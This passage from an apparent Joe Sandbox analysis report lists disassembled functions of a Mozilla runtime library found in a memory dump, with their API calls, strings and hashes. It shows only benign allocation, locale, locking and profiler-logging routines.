Instruction ID: 229350c1c050bf1365b8a2ec835240a413730e73e7a4b00034e7b0f920ac3295
Opcode Fuzzy Hash: 4c328b5cbb602b4d2def98409cb3e8c9f90f0f14ddd064e7afb230c317b4e574
Instruction Fuzzy Hash: 3351C372F417019BD7219A29D9806AEB3B2BF91708F99051CD81A53B00DB31F89ECBD3

Function 6CAD5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CAD5C8C,?,6CAAE829), ref: 6CAD5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CAD5C8C,?,6CAAE829), ref: 6CAD5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CAD5C8C,?,6CAAE829), ref: 6CAD5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CAD5C8C,?,6CAAE829), ref: 6CAD5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CAD5C8C,?,6CAAE829), ref: 6CAD5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CAD5C8C,?,6CAAE829), ref: 6CAD5DC9
std::_Facet_Register.LIBCPMT ref: 6CAD5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CAD5C8C,?,6CAAE829), ref: 6CAD5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CAD5C8C,?,6CAAE829), ref: 6CAD5E45

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 2e02b22cab26a77119e762a5babd16c2d9bc250d254b75c23cf5b937c32357c8
Instruction ID: 7fd4748851cd9cee5baf50058b5d7ae4f78f8afc44b5033d608b2cf4c868d5d0
Opcode Fuzzy Hash: 2e02b22cab26a77119e762a5babd16c2d9bc250d254b75c23cf5b937c32357c8
Instruction Fuzzy Hash: F241A3707003068FDB04DFA5D8D8AAE77B9EF49314F194168D51697781EB30E846CB61

Function 6CAACC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA731A7), ref: 6CAACDDD

Strings

<jemalloc>, xrefs: 6CAACF9F, 6CAACFB3
: (malloc) Error in VirtualFree(), xrefs: 6CAACFA4, 6CAACFB8

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 30cb34ea2e430436f1baf96ab2f789c980d9dac5082b38efe331a56549b2f1f8
Instruction ID: 0b03b1330943dc2abb136ff18b94228543b5dbad554834249d3011ffc4774a35
Opcode Fuzzy Hash: 30cb34ea2e430436f1baf96ab2f789c980d9dac5082b38efe331a56549b2f1f8
Instruction Fuzzy Hash: E931E7307403065BFF14AFE99D45B6E7B75BB4470CF248118F620ABAC0DB72D4828BA0

Function 6CA7ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA7F100: LoadLibraryW.KERNEL32(shell32,?,6CAED020), ref: 6CA7F122
Part of subcall function 6CA7F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA7F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA7ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA7EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA7EDCC
CreateFileW.KERNEL32 ref: 6CA7EE08
free.MOZGLUE(00000000), ref: 6CA7EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA7EE32

Part of subcall function 6CA7EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA7EBB5
Part of subcall function 6CA7EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CAAD7F3), ref: 6CA7EBC3
Part of subcall function 6CA7EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CAAD7F3), ref: 6CA7EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA7EDC1

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 2ff22a3078dab39b3d8086ceadd1afc80f90b8df121399b40a2b2ec69d651477
Instruction ID: 677679b61c67c73718c580fdfe949987d1e44d73fcbf2a738d43adf2dcd291a7
Opcode Fuzzy Hash: 2ff22a3078dab39b3d8086ceadd1afc80f90b8df121399b40a2b2ec69d651477
Instruction Fuzzy Hash: CC51DE75D053049FDB209F68DA406EEB7B0BF49318F08892DE8516B741E73069C9C7B2

Function 6CAEA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CAEA565

Part of subcall function 6CAEA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAEA4BE
Part of subcall function 6CAEA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAEA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CAEA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAEA6B6

Strings

z, xrefs: 6CAEA6AE
0, xrefs: 6CAEA5FB

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 64a208d9ce1e2a73dcbd281ff1cec6b05f7febb6c07d18ea5475a22ce0891ba2
Instruction ID: ec80aaacb934ecdcd42e9c22e0806e1a139a7a606c62bd276005908de0ee0d00
Opcode Fuzzy Hash: 64a208d9ce1e2a73dcbd281ff1cec6b05f7febb6c07d18ea5475a22ce0891ba2
Instruction Fuzzy Hash: 9D4119719097459FC341DF28C480A9BBBF5BFCA354F408A2EF49987650EB30D989DB92

Function 6CAB9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CAAAB89: EnterCriticalSection.KERNEL32(6CAFE370,?,?,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284), ref: 6CAAAB94
Part of subcall function 6CAAAB89: LeaveCriticalSection.KERNEL32(6CAFE370,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CAAABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA84A68), ref: 6CAB945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAB9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAB9482
__Init_thread_footer.LIBCMT ref: 6CAB949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAB947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAB9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAB946B

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: cae3c379bf247f16c3ee8034c447b67da0ef3b9322a49970a3958de9e4d531cb
Instruction ID: c5d54150975286923a22d21ba04def171b8bd1ec1f3a65603995017f764f0924
Opcode Fuzzy Hash: cae3c379bf247f16c3ee8034c447b67da0ef3b9322a49970a3958de9e4d531cb
Instruction Fuzzy Hash: CF016874A002028FD7049B6CEE04A9533F9AB0532DF08813AE96AD3B41D631D8DBCD6B

Function 6CA7B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CA7B61E,?,?,?,?,?,00000000), ref: 6CA7B6AC

Part of subcall function 6CA8CA10: malloc.MOZGLUE(?), ref: 6CA8CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA7B61E,?,?,?,?,?,00000000), ref: 6CA7B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CA7B61E,?,?,?,?,?,00000000), ref: 6CA7B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA7B61E,?,?,?,?,?,00000000), ref: 6CA7B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CA7B61E,?,?,?,?,?,00000000), ref: 6CA7B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CA7B61E), ref: 6CA7B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CA7B61E,?,?,?,?,?,00000000), ref: 6CA7B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CA7B61E,?,?,?,?,?,00000000), ref: 6CA7B79A

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: f403336f99c2512f1c0ac68519686fb64336412d5c312fadd454c71a0f852931
Instruction ID: 1186b8c9bf7bdb15a3f7f4e67dc42fdf5490e06102a05bad70a85d6dbd1627c9
Opcode Fuzzy Hash: f403336f99c2512f1c0ac68519686fb64336412d5c312fadd454c71a0f852931
Instruction Fuzzy Hash: F141A2B6D011159FCB14DE68EC805AEB7BABF44324F290729E825E7780E731A9448BE1

Function 6CAEB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CAEB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CAEB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CAEB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CAEB5F4
__Init_thread_footer.LIBCMT ref: 6CAEB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CAEB61F
std::_Facet_Register.LIBCPMT ref: 6CAEB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAEB655

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9d1a62e2caba9c18996c89c2c42a8e9873086540744e9dc42bdb623ede386e83
Instruction ID: ced194288d982cfaacb98c72664c8ab61183a33237e9c2af160f3e697a3af8e3
Opcode Fuzzy Hash: 9d1a62e2caba9c18996c89c2c42a8e9873086540744e9dc42bdb623ede386e83
Instruction Fuzzy Hash: 46319271B00306CBCB04DFA9E9589AEB7F5FF89328B144619D92297740DB31A847CBE1

Function 6CAC1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAC1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CAC1BE3,?,?,6CAC1D96,00000000), ref: 6CAC1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CAC1BE3,?,?,6CAC1D96,00000000), ref: 6CAC1D4C
GetCurrentThreadId.KERNEL32 ref: 6CAC1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAC1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAC1DDA

Part of subcall function 6CAC1EF0: GetCurrentThreadId.KERNEL32 ref: 6CAC1F03
Part of subcall function 6CAC1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CAC1DF2,00000000,00000000), ref: 6CAC1F0C
Part of subcall function 6CAC1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAC1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CAC1DF4

Part of subcall function 6CA8CA10: malloc.MOZGLUE(?), ref: 6CA8CA26

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 95d28070f9670a652826e284cee371911770e2c67340fbd003595f418e816e3f
Instruction ID: b3d090f7863c13b5566334649f66a17cbbe5673a98e93d8e5308df8a5fba4ee1
Opcode Fuzzy Hash: 95d28070f9670a652826e284cee371911770e2c67340fbd003595f418e816e3f
Instruction Fuzzy Hash: AA416AB53007059FCB14DF28D488B66BBF9FB49314F10852EEA6A87B41DB31E854CB91

Function 6CAB84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAB84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAB850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAB851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAB855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAB856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAB85AC

Part of subcall function 6CAB7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAB85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAB767F
Part of subcall function 6CAB7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAB85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAB7693
Part of subcall function 6CAB7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAB85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAB76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAB85B2

Part of subcall function 6CA95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA95EDB
Part of subcall function 6CA95E90: memset.VCRUNTIME140(6CAD7765,000000E5,55CCCCCC), ref: 6CA95F27
Part of subcall function 6CA95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA95FB2

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 4868294619afb6c8361da8c34b6032d1f75f52e429e0cb211c3db796ec44c89c
Instruction ID: b4f34fdee1bbfd7d44297118ffa27ac8e96d7fdca727805f0a2ce17bbf054823
Opcode Fuzzy Hash: 4868294619afb6c8361da8c34b6032d1f75f52e429e0cb211c3db796ec44c89c
Instruction Fuzzy Hash: F2219F742007028FDB14DF29D988A5AB7B9AF4430DF18492DE55BD3B41DB31F989CB51

Function 6CABF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAACBE8: GetCurrentProcess.KERNEL32(?,6CA731A7), ref: 6CAACBF1
Part of subcall function 6CAACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA731A7), ref: 6CAACBFA

Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA84A68), ref: 6CAB945E
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAB9470
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAB9482
Part of subcall function 6CAB9420: __Init_thread_footer.LIBCMT ref: 6CAB949F

GetCurrentThreadId.KERNEL32 ref: 6CABF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CABF598), ref: 6CABF621

Part of subcall function 6CAB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAB94EE
Part of subcall function 6CAB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAB9508

GetCurrentThreadId.KERNEL32 ref: 6CABF637
AcquireSRWLockExclusive.KERNEL32(6CAFF4B8,?,?,00000000,?,6CABF598), ref: 6CABF645
ReleaseSRWLockExclusive.KERNEL32(6CAFF4B8,?,?,00000000,?,6CABF598), ref: 6CABF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CABF62A

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e17df7b31318b63ee9482577d76ff1648bd6388c345ec5ae3bc5687eb184a9b1
Instruction ID: 93b0ab52be87047df0f417196684896f971036844ed1a12d75f06a648f4fe8c7
Opcode Fuzzy Hash: e17df7b31318b63ee9482577d76ff1648bd6388c345ec5ae3bc5687eb184a9b1
Instruction Fuzzy Hash: 8D11EB39201306AFD7089F58EE489D577BDFF86359B144119EA1593F01CB31A867CBA0

Function 6CA80EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAAAB89: EnterCriticalSection.KERNEL32(6CAFE370,?,?,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284), ref: 6CAAAB94
Part of subcall function 6CAAAB89: LeaveCriticalSection.KERNEL32(6CAFE370,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CAAABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CAAD9F0,00000000), ref: 6CA80F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CA80F3C
__Init_thread_footer.LIBCMT ref: 6CA80F50
FreeLibrary.KERNEL32(?,6CAAD9F0,00000000), ref: 6CA80F86

Strings

CoInitializeEx, xrefs: 6CA80F36
combase.dll, xrefs: 6CA80F18

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 37077c1bc63930f25b53ca4460aae074e0a4eab1fc73704c92065ae5820a7646
Instruction ID: 882fe29579cab1e980bbb5038b0c2d27f56a970fea038329c239fead53b979d5
Opcode Fuzzy Hash: 37077c1bc63930f25b53ca4460aae074e0a4eab1fc73704c92065ae5820a7646
Instruction Fuzzy Hash: 9C115E746063429BDF09CF58EE48A463BF9FB4A325F04C22DE92597B40D730A887CA65

Function 6CABF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA84A68), ref: 6CAB945E
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAB9470
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAB9482
Part of subcall function 6CAB9420: __Init_thread_footer.LIBCMT ref: 6CAB949F

GetCurrentThreadId.KERNEL32 ref: 6CABF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABF561

Part of subcall function 6CAB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAB94EE
Part of subcall function 6CAB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAB9508

GetCurrentThreadId.KERNEL32 ref: 6CABF577
AcquireSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABF585
ReleaseSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CABF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CABF56A
[I %d/%d] profiler_resume, xrefs: 6CABF239
[I %d/%d] profiler_resume_sampling, xrefs: 6CABF499

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
